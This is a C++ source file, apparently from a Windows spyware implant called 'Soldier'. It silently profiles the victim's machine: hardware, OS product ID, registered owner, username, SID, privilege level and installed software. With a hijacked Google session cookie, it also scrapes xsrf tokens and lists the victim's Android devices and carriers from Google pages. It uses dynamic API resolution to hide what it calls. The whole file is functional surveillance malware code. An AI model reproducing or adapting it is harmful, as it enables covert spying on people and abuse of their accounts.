Soldier/device.cpp
#include <Windows.h>
#include <lm.h>
#include <Sddl.h>
#include <Strsafe.h>
#include "globals.h"
#include "zmem.h"
#include "utils.h"
#include "debug.h"
#include "device.h"
#include "social.h"
#include "JSON.h"
extern BOOL ConfIsModuleEnabled(LPWSTR strModule);
//extern DWORD ConvertToUTF8(LPWSTR pIn, LPSTR* pOut);
//extern void GD_DumpBuffer(LPCWSTR lpFileName, char* lpBuffer, DWORD dwSize);
HANDLE g_hDevMutex = NULL;
PDEVICE_CONTAINER lpDeviceContainer = NULL;
BOOL bSendGoogleDevice = TRUE;
VOID GetProcessor(PDEVICE_INFO lpDeviceInfo)
{
WCHAR strCentralProcKey[] = HWD_DESC_SYS_CENTRALPROC_0;
WCHAR strProcNameString[] = PROCESSOR_NAME_STRING;
GetRegistryValue(HKEY_LOCAL_MACHINE,
strCentralProcKey,
strProcNameString,
(LPBYTE) lpDeviceInfo->procinfo.proc,
sizeof(lpDeviceInfo->procinfo.proc),
KEY_READ);
LPSYSTEM_INFO lpSysInfo = (LPSYSTEM_INFO) zalloc(sizeof(SYSTEM_INFO));
GetSystemInfo(lpSysInfo);
lpDeviceInfo->procinfo.procnum = lpSysInfo->dwNumberOfProcessors;
zfree(lpSysInfo);
}
VOID GetMemory(PDEVICE_INFO lpDeviceInfo)
{
LPMEMORYSTATUSEX lpMemoryStatus = (LPMEMORYSTATUSEX) zalloc(sizeof(MEMORYSTATUSEX));
lpMemoryStatus->dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(lpMemoryStatus);
lpDeviceInfo->meminfo.memtotal = (ULONG) (lpMemoryStatus->ullTotalPhys / (1024*1024));
lpDeviceInfo->meminfo.memfree = (ULONG) (lpMemoryStatus->ullAvailPhys / (1024*1024));
lpDeviceInfo->meminfo.memload = (ULONG) (lpMemoryStatus->dwMemoryLoad);
zfree(lpMemoryStatus);
lpMemoryStatus = NULL;
}
BOOL CompareServicePack(WORD servicePackMajor)
{
OSVERSIONINFOEX osVersionInfo;
ZeroMemory(&osVersionInfo, sizeof(OSVERSIONINFOEX));
osVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
osVersionInfo.wServicePackMajor = servicePackMajor;
ULONGLONG maskCondition = ::VerSetConditionMask(0, VER_SERVICEPACKMAJOR, VER_EQUAL);
return ::VerifyVersionInfo(&osVersionInfo, VER_SERVICEPACKMAJOR, maskCondition);
}
VOID GetOs(PDEVICE_INFO lpDeviceInfo)
{
WCHAR strNtCurrVersion[] = SOFTW_MICROS_WINNT_CURRVER;
BOOL bRet;
WCHAR strProductName[]= PRODUCT_NAME;
GetRegistryValue(HKEY_LOCAL_MACHINE,
strNtCurrVersion,
strProductName,
lpDeviceInfo->osinfo.ver,
sizeof(lpDeviceInfo->osinfo.ver),
KEY_READ);
//NON e' QUI csdversion!! FIXME
//provo a cercare il valore nel registry e in caso
//di errore o di stringa NULL, provo con la funzione PsGetVersion
WCHAR strCsdVer[] = CSD_VERSION;
bRet = GetRegistryValue(HKEY_LOCAL_MACHINE,
strNtCurrVersion,
strCsdVer,
lpDeviceInfo->osinfo.sp,
sizeof(lpDeviceInfo->osinfo.sp),
KEY_READ);
/*
if((bRet == FALSE) || (lpDeviceInfo->osinfo.sp == NULL))
{
VerSetConditionMask(VER_SERVICEPACKMAJOR|);
}
*/
WCHAR strProdId[] = PRODUCT_ID;
GetRegistryValue(HKEY_LOCAL_MACHINE,
strNtCurrVersion,
strProdId,
lpDeviceInfo->osinfo.id,
sizeof(lpDeviceInfo->osinfo.id),
KEY_READ); // non va FIXME!!!
WCHAR strOwner[] = REGISTERED_OWNER;
GetRegistryValue(HKEY_LOCAL_MACHINE,
strNtCurrVersion,
strOwner,
lpDeviceInfo->osinfo.owner,
sizeof(lpDeviceInfo->osinfo.owner),
KEY_READ);
WCHAR strOrg[]= REGISTERED_ORG;
GetRegistryValue(HKEY_LOCAL_MACHINE,
strNtCurrVersion,
strOrg,
lpDeviceInfo->osinfo.org,
sizeof(lpDeviceInfo->osinfo.org),
KEY_READ);
}
typedef NET_API_STATUS (WINAPI *NetUserGetInfo_p)(
_In_ LPWSTR servername,
_In_ LPWSTR username,
_In_ DWORD level,
_Out_ LPBYTE *bufptr);
typedef NET_API_STATUS (WINAPI *NetApiBufferFree_p)(_In_ LPVOID lpBuffer);
VOID GetUser(PDEVICE_INFO lpDeviceInfo)
{
static NetUserGetInfo_p fpNetUserGetInfo = NULL;
static NetApiBufferFree_p fpNetApiBufferFree = NULL;
static WCHAR strNetApi32[] = NETAPI32;
static CHAR strNetUserGetInfo[] = NETUSERGETINFO;
static CHAR strNetApiBufferFree[] = NETAPIBUFFERFREE;
if (fpNetUserGetInfo == NULL)
fpNetUserGetInfo = (NetUserGetInfo_p) GetProcAddress(LoadLibrary(strNetApi32), strNetUserGetInfo);
if (fpNetApiBufferFree == NULL)
fpNetApiBufferFree = (NetApiBufferFree_p) GetProcAddress(LoadLibrary(strNetApi32), strNetApiBufferFree);
DWORD dwSize = sizeof(lpDeviceInfo->userinfo.username) / sizeof(WCHAR);
if (!GetUserName(lpDeviceInfo->userinfo.username, &dwSize))
SecureZeroMemory(lpDeviceInfo->userinfo.username, sizeof(lpDeviceInfo->userinfo.username));
else
{
if (fpNetUserGetInfo != NULL && fpNetApiBufferFree != NULL)
{
LPBYTE pUserInfo;
if (fpNetUserGetInfo(NULL, lpDeviceInfo->userinfo.username, 1, &pUserInfo) == NERR_Success)
{
lpDeviceInfo->userinfo.priv = ((LPUSER_INFO_1)pUserInfo)->usri1_priv;
fpNetApiBufferFree(pUserInfo);
}
if (fpNetUserGetInfo(NULL, lpDeviceInfo->userinfo.username, 23, &pUserInfo) == NERR_Success)
{
wcsncpy_s(lpDeviceInfo->userinfo.fullname, sizeof(lpDeviceInfo->userinfo.fullname) / sizeof(WCHAR), ((PUSER_INFO_23)pUserInfo)->usri23_full_name, _TRUNCATE);
LPWSTR strSid;
if (!ConvertSidToStringSid(((PUSER_INFO_23)pUserInfo)->usri23_user_sid, &strSid))
SecureZeroMemory(lpDeviceInfo->userinfo.sid, sizeof(lpDeviceInfo->userinfo.sid));
else
wcsncpy_s(lpDeviceInfo->userinfo.sid, sizeof(lpDeviceInfo->userinfo.sid) / sizeof(WCHAR), strSid, _TRUNCATE);
fpNetApiBufferFree(pUserInfo);
}
}
}
}
VOID GetLocale(PDEVICE_INFO lpDeviceInfo)
{
if (!GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SISO639LANGNAME, lpDeviceInfo->localinfo.lang, sizeof(lpDeviceInfo->localinfo.lang) / sizeof(WCHAR)))
SecureZeroMemory(lpDeviceInfo->localinfo.lang, sizeof(lpDeviceInfo->localinfo.lang));
if (!GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, lpDeviceInfo->localinfo.country, sizeof(lpDeviceInfo->localinfo.country) / sizeof(WCHAR)))
SecureZeroMemory(lpDeviceInfo->localinfo.country, sizeof(lpDeviceInfo->localinfo.country));
WCHAR strTimeZone[] = SYSTEM_CURRCON_CONTROL_TIMEZONE;
WCHAR strBias[] = ACTIVE_TIME_BIAS;
GetRegistryValue(HKEY_LOCAL_MACHINE,
strTimeZone,
strBias,
(LPBYTE)&lpDeviceInfo->localinfo.timebias,
sizeof(lpDeviceInfo->localinfo.timebias),
KEY_READ);
//get information about the timezone key name
WCHAR strBuf[128];
WCHAR strTMZKeyName[] = TMZ_KEY_NAME;
GetRegistryValue(HKEY_LOCAL_MACHINE,
strTimeZone,
strTMZKeyName,
(LPBYTE)&strBuf,
sizeof(strBuf),
KEY_READ);
//read the timezone description
WCHAR strTimeZoneDesc[256];
WCHAR strTMZKey[] = SOFTWARE_MICROSOFT_WINNT_CURR_TIMEZONES;
WCHAR strTMZKeyDesc[] = TMZ_DESCRIPTION;
_snwprintf_s(strTimeZoneDesc, sizeof(strTimeZoneDesc)/2, _TRUNCATE, L"%s\\%s", strTMZKey, strBuf);
GetRegistryValue(HKEY_LOCAL_MACHINE,
strTimeZoneDesc,
strTMZKeyDesc,
(LPBYTE)&lpDeviceInfo->localinfo.timezone,
sizeof(lpDeviceInfo->localinfo.timezone),
KEY_READ);
}
typedef BOOL (WINAPI *GetDiskFreeSpaceEx_p) (LPWSTR, PULARGE_INTEGER, PULARGE_INTEGER, PULARGE_INTEGER);
VOID GetDisk(PDEVICE_INFO lpDeviceInfo)
{
static GetDiskFreeSpaceEx_p fpGetDiskFreeSpaceEx = NULL;
static CHAR strGetDiskFreeSpaceEx[] = GETDISKFREESPACEEX;
static WCHAR strKernel32[] = KERNEL32;
if (fpGetDiskFreeSpaceEx == NULL)
{
fpGetDiskFreeSpaceEx = (GetDiskFreeSpaceEx_p) GetProcAddress(GetModuleHandle(strKernel32), strGetDiskFreeSpaceEx);
if (fpGetDiskFreeSpaceEx)
{
LPWSTR strTempPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
if (GetTempPath(MAX_FILE_PATH, strTempPath))
{
ULARGE_INTEGER uDiskFree, uDiskTotal;
if (fpGetDiskFreeSpaceEx(strTempPath, &uDiskFree, &uDiskTotal, NULL))
{
lpDeviceInfo->diskinfo.disktotal = (ULONG) (uDiskTotal.QuadPart / (1024*1024));
lpDeviceInfo->diskinfo.diskfree = (ULONG) (uDiskFree.QuadPart / (1024*1024));
}
else
lpDeviceInfo->diskinfo.disktotal = lpDeviceInfo->diskinfo.diskfree = 0;
}
zfree(strTempPath);
}
}
}
LPWSTR GetAppList()
{
DWORD dwAppListSize = 0;
DWORD dwSam = KEY_READ;
WCHAR strUninstall[] = SOFTWARE_MICROSOFT_WIN_CURR_UNINSTALL;
WCHAR strX86Header[] = APPLICATION_LIST_X86;
WCHAR strX64Header[] = APPLICATION_LIST_X64;
BOOL bIsWow64, bIs64OS;
IsX64System(&bIsWow64, &bIs64OS);
DWORD dwRepeat = 1 + bIsWow64;
LPWSTR strAppList = (LPWSTR) zalloc((wcslen(strX86Header) + 1) * sizeof(WCHAR));
StringCbCopy(strAppList, (wcslen(strX86Header) + 1) * sizeof(WCHAR), strX86Header);
for (DWORD i=0; i<dwRepeat; i++)
{
HKEY hUninstall = GetRegistryKeyHandle(HKEY_LOCAL_MACHINE, strUninstall, dwSam);
if (!hUninstall)
return NULL;
DWORD dwIdx = 0;
while (1)
{
WCHAR strProductKey[128];
WCHAR strTmpValue[256];
DWORD dwLen = sizeof(strProductKey) / sizeof(WCHAR);
if (RegEnumKeyEx(hUninstall, dwIdx++, strProductKey, &dwLen, NULL, NULL, NULL, NULL) != ERROR_SUCCESS)
break;
// if it has a parent then get the parent and skip this one
WCHAR strParentKeyName[] = PARENT_KEY_NAME;
if (GetRegistryValue(hUninstall, strProductKey, strParentKeyName, NULL, 0, dwSam))
continue;
// if it is a system component then skip it
DWORD dwSysComponent;
WCHAR strSysComponent[] = SYSTEM_COMPONENT;
dwLen = sizeof(DWORD);
if (GetRegistryValue(hUninstall, strProductKey, strSysComponent, (LPBYTE)&dwSysComponent, sizeof(DWORD), dwSam) && dwSysComponent == 1)
continue;
// get data
LPWSTR strProductName = NULL;
LPWSTR strProductVersion = NULL;
// name
WCHAR strDisplayName[] = DISPLAY_NAME;
dwLen = sizeof(strProductKey);
if (!GetRegistryValue(hUninstall, strProductKey, strDisplayName, strTmpValue, dwLen, dwSam))
continue;
strProductName = _wcsdup(strTmpValue);
// version
WCHAR strDisplayVersion[] = DISPLAY_VERSION;
dwLen = sizeof(strProductKey);
if (GetRegistryValue(hUninstall, strProductKey, strDisplayVersion, strTmpValue, dwLen, dwSam))
strProductVersion = _wcsdup(strTmpValue);
// append to string
dwAppListSize = (wcslen(strAppList) + wcslen(strProductName) + (strProductVersion ? wcslen(strProductVersion) : 0) + 5) * sizeof(WCHAR);
strAppList = (LPWSTR) realloc(strAppList, dwAppListSize);
StringCbCat(strAppList, dwAppListSize, strProductName);
if (strProductVersion)
{
StringCbCat(strAppList, dwAppListSize, L" (");
StringCbCat(strAppList, dwAppListSize, strProductVersion);
StringCbCat(strAppList, dwAppListSize, L")");
}
StringCbCat(strAppList, dwAppListSize, L"\n");
zfree(strProductName);
if (strProductVersion)
zfree(strProductVersion);
}
if (i==0 && bIsWow64)
{
dwAppListSize += (wcslen(strX64Header)+2)*sizeof(WCHAR);
strAppList = (LPWSTR) realloc(strAppList, dwAppListSize);
StringCbCat(strAppList, dwAppListSize, L"\n");
StringCbCat(strAppList, dwAppListSize, L"\n");
StringCbCat(strAppList, dwAppListSize, strX64Header);
}
dwSam |= KEY_WOW64_64KEY;
RegCloseKey(hUninstall);
}
return strAppList;
}
VOID GetDeviceInfo()
{
BOOL bIsWow64, bIs64OS;
if (lpDeviceContainer)
return;
//check the mutex
if(g_hDevMutex != NULL)
if(WaitForSingleObject(g_hDevMutex, 5000) != WAIT_OBJECT_0)
return;
PDEVICE_INFO lpDeviceInfo = (PDEVICE_INFO) zalloc(sizeof(DEVICE_INFO));
LPWSTR strAppList = GetAppList();
GetProcessor(lpDeviceInfo);
GetMemory(lpDeviceInfo);
GetOs(lpDeviceInfo);
GetUser(lpDeviceInfo);
GetLocale(lpDeviceInfo);
GetDisk(lpDeviceInfo);
IsX64System(&bIsWow64, &bIs64OS);
DWORD dwSize = (sizeof(DEVICE_INFO) + (strAppList ? wcslen(strAppList)*sizeof(WCHAR) : 0) + 1024 + 1) * sizeof(WCHAR);
LPWSTR strDeviceString = (LPWSTR) zalloc(dwSize);
StringCbPrintf(strDeviceString, dwSize,
L"CPU: %d x %s\n" //FIXME: array
L"Architecture: %s\n" //FIXME: array
L"RAM: %dMB free / %dMB total (%u%% used)\n" //FIXME: array
L"Hard Disk: %dMB free / %dMB total\n" //FIXME: array
L"\n" //FIXME: array
L"Windows Version: %s%s%s%s%s\n" //FIXME: array
L"Registered to: %s%s%s%s {%s}\n" //FIXME: array
//L"Locale: %s_%s (UTC %.2d:%.2d)\n" //FIXME: array
L"Locale: %s_%s (%s)\n" //FIXME: array
L"\n"
L"User Info: %s%s%s%s%s\n" //FIXME: array
L"SID: %s\n" //FIXME: array
L"\n%s\n", //FIXME: array
lpDeviceInfo->procinfo.procnum, lpDeviceInfo->procinfo.proc,
bIs64OS ? L"64bit" : L"32bit", //FIXME: array
lpDeviceInfo->meminfo.memfree, lpDeviceInfo->meminfo.memtotal, lpDeviceInfo->meminfo.memload,
lpDeviceInfo->diskinfo.diskfree, lpDeviceInfo->diskinfo.disktotal,
lpDeviceInfo->osinfo.ver, (lpDeviceInfo->osinfo.sp[0]) ? L" (" : L"", (lpDeviceInfo->osinfo.sp[0]) ? lpDeviceInfo->osinfo.sp : L"", (lpDeviceInfo->osinfo.sp[0]) ? L")" : L"", bIs64OS ? L" (64-bit)" : L" (32-bit)", //FIXME: array
lpDeviceInfo->osinfo.owner, (lpDeviceInfo->osinfo.org[0]) ? L" (" : L"", (lpDeviceInfo->osinfo.org[0]) ? lpDeviceInfo->osinfo.org : L"", (lpDeviceInfo->osinfo.org[0]) ? L")" : L"", lpDeviceInfo->osinfo.id,
//lpDeviceInfo->localinfo.lang, lpDeviceInfo->localinfo.country, (-1 * (int)lpDeviceInfo->localinfo.timebias) / 60, abs((int)lpDeviceInfo->localinfo.timebias) % 60,
lpDeviceInfo->localinfo.lang, lpDeviceInfo->localinfo.country, lpDeviceInfo->localinfo.timezone ? lpDeviceInfo->localinfo.timezone : L" Unknown",
lpDeviceInfo->userinfo.username, (lpDeviceInfo->userinfo.fullname[0]) ? L" (" : L"", (lpDeviceInfo->userinfo.fullname[0]) ? lpDeviceInfo->userinfo.fullname : L"", (lpDeviceInfo->userinfo.fullname[0]) ? L")" : L"", (lpDeviceInfo->userinfo.priv) ? ((lpDeviceInfo->userinfo.priv == 1) ? L"" : L" [ADMIN]") : L" [GUEST]", //FIXME: array
lpDeviceInfo->userinfo.sid,
strAppList ? strAppList : L"");
lpDeviceContainer = (PDEVICE_CONTAINER) zalloc(sizeof(DEVICE_CONTAINER));
lpDeviceContainer->pDataBuffer = strDeviceString;
lpDeviceContainer->uSize = (wcslen(strDeviceString) + 1) * sizeof(WCHAR);
zfree(strAppList);
zfree(lpDeviceInfo);
//release the mutex
ReleaseMutex(g_hDevMutex);
}
//-----------------------------------GOOGLE DEVICE --------------------------------
DWORD GDev_ExtractDevList(LPWSTR *pwszFormattedList, LPSTR pszRecvBuffer)
{
LPWSTR pwszTmp=NULL;
LPSTR pszFrom=NULL, pszTo=NULL;
DWORD dwRet=0, dwSize=0, dwNewSize=0;
if(pszRecvBuffer == NULL)
return FALSE;
//search the JSON structure containing the devices info (es: ['DEVICES_JSPB'])
pszFrom = StrStrIA(pszRecvBuffer, "['DEVICES_JSPB']");
if(pszFrom == NULL)
return FALSE;
pszFrom++;
//search the first [ char (beginning of the JSON struct)
pszFrom = strstr(pszFrom, "[");
if(pszFrom == NULL)
return FALSE;
//search a ; char (end of the JSON struct)
pszTo = pszFrom;
pszTo = strstr(pszFrom, ";");
if(pszTo == NULL)
return FALSE;
dwSize = (pszTo - pszFrom) - 1;
//copy the json structure to a tmp buffer
LPSTR pszJSON = (LPSTR)malloc(dwSize+1);
if(pszJSON == NULL)
return FALSE;
strncpy_s(pszJSON, dwSize+1, pszFrom, dwSize);
//parse the json struct
JSONValue *jValue = NULL;
JSONArray jArray, jDev;
jValue = JSON::Parse(pszJSON);
znfree(&pszJSON);
if(jValue == NULL)
return FALSE;
LPWSTR pwszDevice = NULL;
if(jValue->IsArray() && (jValue->AsArray().size() > 0))
{
jArray = jValue->AsArray();
if(jArray.size() > 0)
{
jArray = jArray[0]->AsArray();
//loop into array of devices
for(int i=0; i<jArray.size(); i++)
{
jDev = jArray[i]->AsArray();
jDev = jDev[0]->AsArray();
dwSize = wcslen(jDev[2]->AsString().c_str()) +
wcslen(jDev[3]->AsString().c_str()) +
wcslen(jDev[4]->AsString().c_str()) + 64; //add some bytes to store the description strings
pwszDevice = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
if(pwszDevice == NULL)
{
delete jValue;
return FALSE;
}
swprintf_s(pwszDevice, dwSize, L"Brand: %s\nDevice: %s\nCarrier: %s\n\n", jDev[3]->AsString().c_str(), jDev[2]->AsString().c_str(), jDev[4]->AsString().c_str());
dwNewSize += (wcslen(pwszDevice) + 1);
pwszTmp = *pwszFormattedList;
*pwszFormattedList = (LPWSTR)realloc(*pwszFormattedList, dwNewSize * sizeof(WCHAR));
if(*pwszFormattedList == NULL)
{
znfree(&pwszDevice);
znfree(&pwszTmp);
delete jValue;
return FALSE;
}
if(pwszTmp == NULL)
SecureZeroMemory(*pwszFormattedList, dwNewSize * sizeof(WCHAR));
wcscat_s(*pwszFormattedList, dwNewSize, pwszDevice);
znfree(&pwszDevice);
}
}
else
{
delete jValue;
return FALSE;
}
}
else
{
delete jValue;
return FALSE;
}
delete jValue;
return TRUE;
}
//get the device list
DWORD GoogleDeviceHandler(LPSTR pszCookie)
{
WCHAR pwszHeader[] = {L'\n', L'G', L'o', L'o', L'g', L'l', L'e', L' ', L'D', L'e', L'v', L'i', L'c', L'e', L's', L':', L'\n', L'\n', '\0'};
LPWSTR pwszDevicesList=NULL;
LPSTR pszRecvBuffer=NULL;
DWORD dwRet, dwBufferSize=0, dwSize=0, dwLen=0;
CHAR pszBuf[128];
if (!ConfIsModuleEnabled(L"device"))
return SOCIAL_REQUEST_SUCCESS;
if(!bSendGoogleDevice)
return FALSE;
if(lpDeviceContainer)
return FALSE;
if(g_hDevMutex == NULL)
return FALSE;
//get conn parameters
dwRet = HttpSocialRequest(L"www.google.com",
L"GET",
L"/android/devicemanager",
L"Host: www.google.com\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*",
443,
NULL,
0,
(LPBYTE *)&pszRecvBuffer,
&dwBufferSize,
pszCookie);
if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
{
znfree(&pszRecvBuffer);
}
//extract the device list from the received buffer
dwRet = GDev_ExtractDevList(&pwszDevicesList, pszRecvBuffer);
znfree(&pszRecvBuffer);
if((!dwRet) || (pwszDevicesList == NULL))
return FALSE;
//get the device info
GetDeviceInfo();
//wait for mutex
if(WaitForSingleObject(g_hDevMutex, 5000) != WAIT_OBJECT_0)
return FALSE;
dwSize = wcslen(lpDeviceContainer->pDataBuffer) + wcslen(pwszHeader) + wcslen(pwszDevicesList) + 1;
//append the google devices info to the device info
lpDeviceContainer->pDataBuffer = (LPWSTR)realloc(lpDeviceContainer->pDataBuffer, dwSize * sizeof(WCHAR));
wcscat_s(lpDeviceContainer->pDataBuffer, dwSize, pwszHeader);
wcscat_s(lpDeviceContainer->pDataBuffer, dwSize, pwszDevicesList);
lpDeviceContainer->uSize = dwSize * sizeof(WCHAR);
znfree(&pwszDevicesList);
//don't send the device list anymore
bSendGoogleDevice = FALSE;
//release the mutex for the device
ReleaseMutex(g_hDevMutex);
//close the handle to the mutex object
CloseHandle(g_hDevMutex);
g_hDevMutex = NULL;
return TRUE;
}
#ifdef _GDEV_NEW_VERSIONS
LPSTR GDev_EncodeURL(LPSTR strString)
{
LPSTR strEncoded = NULL;
char strTmp[4];
int i, j, dwLen;
dwLen = strlen(strString);
//alloc destination string
strEncoded = (LPSTR)zalloc((dwLen*3) + 1);
if(strEncoded == NULL)
return NULL;
SecureZeroMemory(strEncoded, sizeof(dwLen*3+1));
for(i=0, j=0; i<dwLen; i++, j++)
{
switch(strString[i])
{
case '$':
case '+':
case ')':
case ',':
case ':':
case ';':
case '?':
case '@':
strEncoded[j++] = '%';
sprintf(strTmp, "%02X", strString[i]);
strcat(&strEncoded[j], strTmp);
j += 1;
break;
default:
strEncoded[j] = strString[i];
break;
}
}
strEncoded[j] = 0;
return strEncoded;
}
//window._uc='[\42pb6_nYs3-m4J_ne7qHvKNy-S_ww:1423730549069\42
DWORD GDev_GetToken_V2(LPSTR *pszToken1, LPSTR pszBuffer)
{
LPSTR pszFrom=NULL, pszTo=NULL;
DWORD dwSize=0;
//search the string "window._uc='[\42"
pszFrom = strstr(pszBuffer, "window._uc='[\\42");
if(pszFrom == NULL)
return FALSE;
pszFrom += (strlen("window._uc='[\\42"));
pszTo = pszFrom;
//search the first '\42'
pszTo = strstr(pszFrom, "\\42");
if(pszFrom == NULL)
return FALSE;
//skip the first " char
pszTo -= 1;
dwSize = pszTo - pszFrom;
*pszToken1 = (LPSTR)malloc(dwSize + 1);
if(*pszToken1 == NULL)
return FALSE;
strncpy_s(*pszToken1, dwSize+1, pszFrom, dwSize);
return TRUE;
}
DWORD GDev_GetDevices_V2(LPSTR pszCookie)
{
LPWSTR pwszDevicesList=NULL;
LPSTR pszRecvBuffer=NULL, pszToken=NULL;
DWORD dwRet, dwBufferSize=0, dwSize=0, dwLen=0;
CHAR pszBuf[128];
if(!bSendGoogleDevice)
return FALSE;
//check the mutex
if(hDevMutex == NULL)
return FALSE;
dwRet = HttpSocialRequest(L"play.google.com",
L"GET",
L"/settings",
L"Host: play.google.com\r\nConnection: keep-alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
443,
NULL,
0,
(LPBYTE *)&pszRecvBuffer,
&dwBufferSize,
pszCookie);
GD_DumpBuffer(L"k:\\GDocs\\play_devices", pszRecvBuffer, dwBufferSize);
//extract the token value
dwRet = GDev_GetToken_V2(&pszToken, pszRecvBuffer);
if(dwRet == FALSE)
{
znfree(&pszRecvBuffer);
return FALSE;
}
znfree(&pszRecvBuffer);
LPSTR pszEncBuf = GDev_EncodeURL(pszToken);
LPSTR pszSendBuf = (LPSTR)malloc(256);
sprintf_s(pszSendBuf, 256, "xhr=1&token=%s", pszEncBuf);
//get conn parameters
dwRet = HttpSocialRequest(L"play.google.com",
L"POST",
L"/store/xhr/ructx",
L"Host: play.google.com\r\nConnection: keep-alive\r\nOrigin: https://play.google.com\r\nContent-Type: application/x-www-form-urlencoded;charset=UTF-8\r\nAccept: */*\r\nReferer: https://play.google.com/settings",
443,
(LPBYTE)pszSendBuf,
strlen(pszSendBuf),
(LPBYTE *)&pszRecvBuffer,
&dwBufferSize,
pszCookie);
if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
{
znfree(&pszRecvBuffer);
}
//extract the device list from the received buffer
dwRet = GDev_ExtractDevList(&pwszDevicesList, pszRecvBuffer);
znfree(&pszRecvBuffer);
if((!dwRet) || (pwszDevicesList == NULL))
return FALSE;
//get the device info
GetDeviceInfo();
//wait for mutex release
if(WaitForSingleObject(hDevMutex, 5000) != WAIT_OBJECT_0)
return FALSE;
dwSize = wcslen(lpDeviceContainer->pDataBuffer) + wcslen(pwszDevicesList) + 1;
//append the google devices info to the device info
lpDeviceContainer->pDataBuffer = (LPWSTR)realloc(lpDeviceContainer->pDataBuffer, dwSize * sizeof(WCHAR));
wcscat_s(lpDeviceContainer->pDataBuffer, dwSize, pwszDevicesList);
lpDeviceContainer->uSize = dwSize * sizeof(WCHAR);
znfree(&pwszDevicesList);
ReleaseMutex(hDevMutex);
bSendGoogleDevice = FALSE;
return TRUE;
}
//["xsrf","AKbdrOanfw0bceGzySGgmi1nvJ4L33MG7A:1423498235308"
DWORD GDev_GetToken_V3(LPSTR *pszToken1, LPSTR *pszToken2, LPSTR pszBuffer)
{
LPSTR pszFrom=NULL, pszTo=NULL;
DWORD dwSize=0;
//search the string "xsrf"
pszFrom = strstr(pszBuffer, "[[\"xsrf\"");
if(pszFrom == NULL)
return FALSE;
pszTo = pszFrom;
//search the first '}'
pszTo = strstr(pszFrom, "}");
if(pszFrom == NULL)
return FALSE;
//skip the first " char
pszTo -= 1;
dwSize = pszTo - pszFrom;
pszBuffer = (LPSTR)malloc(dwSize + 1);
if(pszBuffer == NULL)
return FALSE;
strncpy_s(pszBuffer, dwSize+1, pszFrom, dwSize);
JSONValue *jValue = NULL;
JSONArray jArray;
jValue = JSON::Parse(pszBuffer);
znfree(&pszBuffer);
if(jValue == NULL)
return FALSE;
if(jValue->IsArray())
{
jArray = jValue->AsArray();
if(jArray[0]->IsArray())
{
jArray = jArray[0]->AsArray();
if(jArray.size() >= 4)
{
//get the first token
if((jArray[1]->IsString()) && (jArray[1]->AsString().c_str() != NULL))
{
ConvertToUTF8((LPWSTR)jArray[1]->AsString().c_str(), pszToken1);
if(*pszToken1 == NULL)
{
delete jValue;
return FALSE;
}
}
//get the second token
if((jArray[3]->IsString()) && (jArray[3]->AsString().c_str() != NULL))
{
ConvertToUTF8((LPWSTR)jArray[3]->AsString().c_str(), pszToken2);
if(*pszToken2 == NULL)
{
znfree(pszToken1);
delete jValue;
return FALSE;
}
}
}
}
}
delete jValue;
return TRUE;
}
//get the device list
DWORD GDev_GetDevices_V3(LPSTR pszCookie)
{
LPWSTR pwszFormattedList=NULL;
LPSTR pszRecvBuffer=NULL, pszSendBuf=NULL, pszToken1=NULL, pszToken2=NULL;
DWORD dwRet, dwBufferSize=0, dwSize=0, dwLen=0;
CHAR pszBuf[128];
//check the mutex
//get conn parameters
dwRet = HttpSocialRequest(L"www.google.com",
L"GET",
L"/settings/dashboard/",
L"Host: www.google.com\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*\r\nReferer: https://accounts.google.com/b/0/VerifiedPhoneInterstitial?continue=https%3A%2F%2Fwww.google.com%2Fsettings%2Fdashboard&sarp=1",
443,
NULL,
0,
(LPBYTE *)&pszRecvBuffer,
&dwBufferSize,
pszCookie);
if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
{
znfree(&pszRecvBuffer);
}
//get the token parameter to use in next queries
dwRet = GDev_GetToken_V3(&pszToken1, &pszToken2, pszRecvBuffer);
znfree(&pszRecvBuffer);
if(dwRet == FALSE)
return FALSE;
//post data
LPSTR pszTmp = (LPSTR)malloc(512);
if(pszTmp == NULL)
return FALSE;
sprintf_s(pszTmp, 512, "at=%s&azt=%s&", pszToken1, pszToken2);
pszSendBuf = GDev_EncodeURL(pszTmp);
znfree(&pszTmp);
//get conn parameters
dwRet = HttpSocialRequest(L"www.google.com",
L"POST",
L"/_/fetch/?rt=c",
L"Host: www.google.com\r\nConnection: keep-alive\r\nX-Same-Domain: 1\r\nOrigin: https://www.google.com\r\nContent-Type: application/x-www-form-urlencoded;charset=UTF-8\r\nAccept: */*\r\nReferer: https://www.google.com/settings/dashboard",
443,
(LPBYTE)pszSendBuf,
strlen(pszSendBuf),
(LPBYTE *)&pszRecvBuffer,
&dwBufferSize,
pszCookie);
if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
{
znfree(&pszRecvBuffer);
}
return TRUE;
}
#endif